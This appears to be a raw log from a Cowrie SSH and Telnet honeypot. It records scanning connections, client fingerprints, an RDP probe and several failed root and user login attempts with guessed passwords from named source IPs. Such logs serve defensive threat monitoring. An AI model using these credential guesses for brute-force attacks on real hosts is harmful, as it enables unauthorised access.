{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.601645Z","src_ip":"193.37.70.224","session":"e58c4bd095d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.691433Z","src_ip":"193.37.70.224","session":"e58c4bd095d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369963","message":"login attempt [root/369963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:11.962148Z","src_ip":"193.37.70.224","session":"e58c4bd095d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:13.065544Z","src_ip":"193.37.70.224","session":"e58c4bd095d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.71218752861023,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:14.188381Z","src_ip":"192.119.13.58","session":"acd83a8b5644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55206,"dst_ip":"159.203.135.109","dst_port":22,"session":"811246b98134","protocol":"ssh","message":"New connection: 152.42.212.128:55206 (159.203.135.109:22) [session: 811246b98134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:15.036493Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:15.041608Z","src_ip":"152.42.212.128","session":"811246b98134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:15.045717Z","src_ip":"152.42.212.128","session":"811246b98134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57154,"dst_ip":"159.203.135.109","dst_port":22,"session":"2856f0dc8cf8","protocol":"ssh","message":"New connection: 103.77.175.15:57154 (159.203.135.109:22) [session: 2856f0dc8cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:17.809111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:17.813894Z","src_ip":"103.77.175.15","session":"2856f0dc8cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:18.073895Z","src_ip":"103.77.175.15","session":"2856f0dc8cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxzaq1","message":"login attempt [root/2wsxzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:18.868022Z","src_ip":"103.77.175.15","session":"2856f0dc8cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:20.130394Z","src_ip":"103.77.175.15","session":"2856f0dc8cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.16945958137512,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:22.178052Z","src_ip":"192.119.13.58","session":"e3d6c82ee409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.642250061035156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:23.723844Z","src_ip":"192.119.13.58","session":"245bcb8f9272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.05552649497986,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:26.748027Z","src_ip":"192.119.13.58","session":"b0e2846ee53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.721301317214966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:27.460111Z","src_ip":"192.119.13.58","session":"2cae053415f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36390,"dst_ip":"10.17.0.5","dst_port":23,"session":"c470800fbf41","protocol":"telnet","message":"New connection: 192.119.13.58:36390 (10.17.0.5:23) [session: c470800fbf41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:27.996668Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39476,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1e913327e7c","protocol":"telnet","message":"New connection: 192.119.13.58:39476 (10.17.0.5:23) [session: c1e913327e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:35.587026Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7578ce12b4c4","protocol":"telnet","message":"New connection: 192.119.13.58:48402 (10.17.0.5:23) [session: 7578ce12b4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:37.778521Z"}
{"eventid":"cowrie.session.closed","duration":37.04634356498718,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:38.858777Z","src_ip":"192.119.13.58","session":"024b7542c4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.48200726509094,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:38.872823Z","src_ip":"192.119.13.58","session":"6dce11c7f433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58744,"dst_ip":"10.17.0.5","dst_port":23,"session":"52112691f964","protocol":"telnet","message":"New connection: 192.119.13.58:58744 (10.17.0.5:23) [session: 52112691f964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:40.471809Z"}
{"eventid":"cowrie.session.closed","duration":38.423468589782715,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:44.385125Z","src_ip":"192.119.13.58","session":"bbd660c31174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.524930000305176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:49.228252Z","src_ip":"192.119.13.58","session":"5048c28b18f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33958,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b74f2540c3","protocol":"telnet","message":"New connection: 192.119.13.58:33958 (10.17.0.5:23) [session: 45b74f2540c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:53:54.959970Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34580,"dst_ip":"10.17.0.5","dst_port":22,"session":"27102593354d","protocol":"ssh","message":"New connection: 2.57.121.25:34580 (10.17.0.5:22) [session: 27102593354d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:13.545498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:13.550045Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:13.653087Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.3378267288208,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:13.924750Z","src_ip":"192.119.13.58","session":"c1e913327e7c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"120983","message":"login attempt [user/120983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:14.142986Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.631911277770996,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:14.628461Z","src_ip":"192.119.13.58","session":"c470800fbf41","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12091978","message":"login attempt [user/12091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:15.254191Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82531261444092,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:15.297007Z","src_ip":"192.119.13.58","session":"52112691f964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"8007544b7499","protocol":"ssh","message":"New connection: 103.173.227.57:51798 (10.17.0.5:22) [session: 8007544b7499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:16.247344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:16.253418Z","src_ip":"103.173.227.57","session":"8007544b7499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12081978","message":"login attempt [user/12081978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:16.363186Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:16.497455Z","src_ip":"103.173.227.57","session":"8007544b7499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina123","message":"login attempt [root/irina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:17.229423Z","src_ip":"103.173.227.57","session":"8007544b7499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12061996","message":"login attempt [user/12061996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:17.470685Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:18.475280Z","src_ip":"103.173.227.57","session":"8007544b7499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120587","message":"login attempt [user/120587] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:18.581819Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:19.688234Z","src_ip":"2.57.121.25","session":"27102593354d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.09523344039917,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:20.873620Z","src_ip":"192.119.13.58","session":"7578ce12b4c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"18571ca102bc","protocol":"telnet","message":"New connection: 192.119.13.58:57554 (10.17.0.5:23) [session: 18571ca102bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:20.896582Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59640,"dst_ip":"10.17.0.5","dst_port":23,"session":"8594012795f8","protocol":"telnet","message":"New connection: 192.119.13.58:59640 (10.17.0.5:23) [session: 8594012795f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:21.468353Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53750,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2b0904d0f9","protocol":"ssh","message":"New connection: 103.122.221.179:53750 (10.17.0.5:22) [session: ab2b0904d0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:25.465710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:25.471079Z","src_ip":"103.122.221.179","session":"ab2b0904d0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:25.718593Z","src_ip":"103.122.221.179","session":"ab2b0904d0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matilda","message":"login attempt [root/matilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:26.458754Z","src_ip":"103.122.221.179","session":"ab2b0904d0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52362,"dst_ip":"10.17.0.5","dst_port":22,"session":"997703ded931","protocol":"ssh","message":"New connection: 62.133.63.178:52362 (10.17.0.5:22) [session: 997703ded931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:26.632160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:26.636399Z","src_ip":"62.133.63.178","session":"997703ded931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:26.762759Z","src_ip":"62.133.63.178","session":"997703ded931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasdqwe123","message":"login attempt [root/zxcasdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:27.352877Z","src_ip":"62.133.63.178","session":"997703ded931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:27.707494Z","src_ip":"103.122.221.179","session":"ab2b0904d0f9","protocol":"ssh"}
